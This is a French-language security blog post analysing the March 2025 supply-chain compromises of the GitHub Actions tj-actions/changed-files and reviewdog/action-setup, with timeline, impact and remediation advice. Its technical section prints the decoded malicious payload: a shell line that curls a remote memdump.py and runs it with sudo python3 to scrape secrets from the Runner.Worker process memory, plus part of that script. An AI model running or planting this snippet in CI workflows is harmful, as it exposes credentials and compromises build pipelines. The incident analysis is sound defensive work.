top of page
Rechercher

Attaque sur la supply-chain - Github Actions

  • Photo du rédacteur: Loïc Castel
    Loïc Castel
  • 26 mars
  • 6 min de lecture

Compromission des repositories GitHub : tj-actions et reviewdog

Deux incidents majeurs ont récemment affecté les repositories GitHub tj-actions/changed-files et reviewdog/action-setup@v1, mettant en lumière des vulnérabilités critiques dans la chaîne d'approvisionnement (Supply Chain) de ceux deux composants populaires de GitHub Actions.

Cette analyse détaille comment une compromission sophistiquée a affecté potentiellement des milliers de projets, révélant notamment que Coinbase aurait été la cible initiale des attaquants. Les investigations montrent que l’échange de cryptomonnaies a servi de point de départ à une campagne plus large, avant que les pirates ne se tournent vers des cibles plus étendues.


Ces attaques ont exposé des secrets sensibles dans les logs de workflows CI/CD, posant des risques importants pour les projets utilisant ces actions compromises. Il semble que les repertoires de Coinbase étaient initialement visé par cette attaque.


L'impact potentiel de la compromission est important :

  • L'action tj-actions/changed-files est utilisée par plus de 23 000 dépôts GitHub. Le code malveillant injecté exécutait un script Python conçu pour extraire les secrets CI/CD de la mémoire du runner, puis les imprimer dans les logs de workflow. Sur les dépôts publics, ces logs sont accessibles à tous, exposant potentiellement des secrets sensibles à quiconque les consulte.

  • Toutefois, selon les données d'Endor Labs, l'impact réel semble avoir été plus limité : environ 218 dépôts auraient effectivement divulgué des secrets sur les quelque 5 000 qui pointaient vers l'action compromise pendant la période d'attaque. La majorité des secrets exposés étaient des jetons d'accès d'installation GitHub à durée de vie limitée (maximum 24 heures), mais quelques identifiants Docker, Terraform, Confluence et AWS ont également été compromis.

  • Pour ce qui est de reviewdog/action-setup, la compromission aurait duré environ deux heures le 11 mars et affecté environ 1 500 dépôts, contre environ 22 heures et 14 000 dépôts pour l'attaque plus large sur tj-actions.


Les équipes Safercy ont réalisé dans ce blogpost une analyse détaillée des événements, des impacts techniques, et des recommandations de sécurité.


À retenir

  • Les attaques sur la chaîne d'approvisionnement deviennent de plus en plus sophistiquées, ciblant désormais des actions GitHub populaires utilisées par des milliers de projets.

  • La compromission en cascade (reviewdog puis tj-actions) démontre comment une première violation peut servir de tremplin pour des attaques plus larges avec un impact amplifié.

  • L'extraction des secrets via l'accès à la mémoire du processus Runner Worker représente une technique avancée permettant de contourner les protections traditionnelles.

  • Les mesures de sécurité essentielles incluent l'épinglage des dépendances par hash de commit, l'application du principe du moindre privilège pour les tokens, et la surveillance continue de l'intégrité du code.


Résumé des incidents

Entre le 11 et le 15 mars 2025, deux actions GitHub largement utilisées ont été victimes d'une compromission en cascade. L'action reviewdog/action-setup@v1 a d'abord été compromise autour du 11 mars, suivie de tj-actions/changed-files entre le 13 et le 15 mars. Ce qui rend cette attaque particulièrement notable est son caractère séquentiel : la compromission initiale de reviewdog semble avoir servi de tremplin pour attaquer tj-actions.


Cette séquence d'événements n'a pas été immédiatement identifiée. La compromission de tj-actions a été découverte en premier, mais c'est seulement après des investigations approfondies qu'un lien avec la compromission antérieure de reviewdog a été établi. L'incident a depuis été catalogué par la CISA (Cybersecurity and Infrastructure Security Agency) américaine sous les références CVE-2025-30066 pour tj-actions et CVE-2025-30154 pour reviewdog.


Nous avons synthétisé les étapes des attaquants sur chaque repository impacté :

  1. Compromission de tj-actions/changed-files (13 mars 2025) :

    • Un attaquant a compromis un Personal Access Token (PAT) lié au bot @tj-actions-bot, utilisé pour maintenir le repository.

    • L’action Github a été modifiée pour pointer vers un commit malveillant contenant un script Python conçu pour extraire les secrets du processus Runner Worker.

    • Les secrets exposés dans les logs incluaient des tokens sensibles, accessibles publiquement dans les repositories publics.

    • C'est cette compromission qui avait pour but d'exploiter le flux CI/CD public du projet open source agentkit de Coinbase, probablement dans le but de s’infiltrer dans les infrastructures internes de l’entreprise.

      • Bien que les attaquants aient obtenu un token GitHub avec des permissions d’écriture sur le dépôt coinbase/agentkit, ils n’ont pas réussi à exfiltrer des secrets ou à publier des packages malveillants

  2. Compromission de reviewdog/action-setup@v1 (11 mars 2025):

    • L'action reviewdog/action-setup@v1 a été compromise avant l'incident tj-actions, et pourrait être la source initiale de la compromission du PAT utilisé par tj-actions.

    • Le payload malveillant injecté dans cette action était distinct, utilisant une chaîne base64 encodée directement insérée dans le fichier install.sh. Cela a permis d'exposer les secrets sans exfiltration externe.


Les équipes de Wiz ont réalisé une frise chronologique résumant les évènements :

Source : https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
Source : https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup

Analyse technique

Dans cette section, nous détaillons les deux chaînes de compromissions identifiées visant les chaînes d'approvisionnement utilisant tj-actions/changed-files et reviewdog/action-setup@v1.

Compromission de tj-actions/changed-files 

Le modus operandi des attaquants était particulièrement sophistiqué : modifier rétroactivement plusieurs étiquettes de version pour qu'elles pointent vers un commit malveillant avec le hash en question 0e58ed8671d6b60d0890c21b07f8835ace038e67. Cette technique garantissait que tous les workflows existants utilisant presque n'importe quelle version de l'action exécuteraient le code compromis.

Ce commit intègre un texte encodé en base64. Celui-ci, une fois décodé, est le suivant :

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Ce code fait appel à un script Python qui extrait les secrets du processus Runner Worker en accédant à la mémoire via /proc. Voici un extrait du code malveillant :

#!/usr/bin/env python3
...

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

Ce script identifie le processus Runner Worker, lit les régions mémoire accessibles, et extrait les secrets encodés en base64.

Compromission de reviewdog/action-setup@v1 

L'attaque sur tj-actions/changed-files (détaillée ci-dessus) semble avoir été exécutée à l'aide d'un token d'accès personnel GitHub (PAT) compromis lié au compte @tj-actions-bot.


Ce qui est particulièrement intéressant, c'est que les chercheurs de Wiz pensent que ce PAT a été volé lors de la compromission antérieure de reviewdog/action-setup. En effet, tj-actions/eslint-changed-files, qui est utilisé par tj-actions/changed-files, dépend lui-même de reviewdog/action-setup@v1, détaillée dans cette section.


Le payload injecté dans cette action utilisait cette fois ci une approche différente. Il double encode directement les secrets en base64 et les expose dans les logs sous forme obfusquée.

Le commit est le suivant :

Une fois décodé du base64, le script python est le suivant :

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

Nous retrouvons la meme logique et le meme fonctionnement qui permet d’extrait les secrets du processus Runner Worker en accédant à la mémoire via /proc. Bien que ces secrets n'aient pas été envoyés vers un serveur externe, leur présence dans les logs publics représente une grave faille de sécurité.

Implications pour la sécurité des chaînes d'approvisionnement

Cet incident met en lumière la vulnérabilité croissante des chaînes d'approvisionnement logiciel modernes. Lorsque des composants comme GitHub Actions sont intégrés dans des milliers de projets, ils deviennent des cibles attractives pour les attaquants cherchant à maximiser l'impact de leurs opérations.


Plusieurs facteurs ont contribué à la réussite de cette attaque :

  • L'absence de contrôles de sécurité dans le dépôt tj-actions/changed-files, comme l'exigence de commits signés et l'absence de règles de protection des branches et des tags

  • L'utilisation de tokens d'accès personnels (PAT) avec des privilèges élevés pour la gestion des dépôts

  • Le fait que la plupart des utilisateurs référencent les actions par tag ou branche plutôt que par hash de commit spécifique

Recommandations de sécurité

  • Identifier et supprimer toutes les références à tj-actions/changed-files et reviewdog/action-setup@v1, ou s'assurer d'utiliser la version 46.0.1 ou ultérieure de tj-actions/changed-files, qui corrige la vulnérabilité

  • Identifier tous les secrets exposés dans les logs et procéder à leur rotation.

  • Vérifier tous les workflows exécutés durant la période de compromission pour détecter toute activité suspecte.

  • Remplacer tj-actions/changed-files par l'alternative sécurisée proposée par StepSecurity : step-security/changed-files.

  • Epingler les actions aux hashs de commit spécifiques, ce qui évite d'être la victime de ce type d'incident lors de mises à jours similaires

Conclusions

Cette attaque en cascade sur reviewdog/action-setup et tj-actions/changed-files illustre parfaitement l'évolution des menaces ciblant les chaînes d'approvisionnement logiciel. Elle nous rappelle que la sécurité d'une application ne dépend pas seulement de son code propre, mais aussi de celle de tous ses composants et dépendances.


Pour les équipes de développement, cet incident souligne l'importance de pratiques comme le principe du moindre privilège pour les tokens d'accès, l'épinglage des dépendances à des versions spécifiques par hash, et la surveillance continue de l'intégrité du code. Ces pratiques ne sont plus optionnelles mais essentielles dans un environnement où les attaques sur la chaîne d'approvisionnement deviennent de plus en plus sophistiquées et fréquentes.


En fin de compte, cette compromission nous rappelle que dans l'écosystème interconnecté du développement logiciel moderne, la sécurité est aussi forte que son maillon le plus faible.


Chez Safercy, nous accordons à la sécurité cloud un intérêt particulier. Continuez de nous suivre afin de rester aux courant des dernières nouveautés dans ce domaine.


Sources

 
 
bottom of page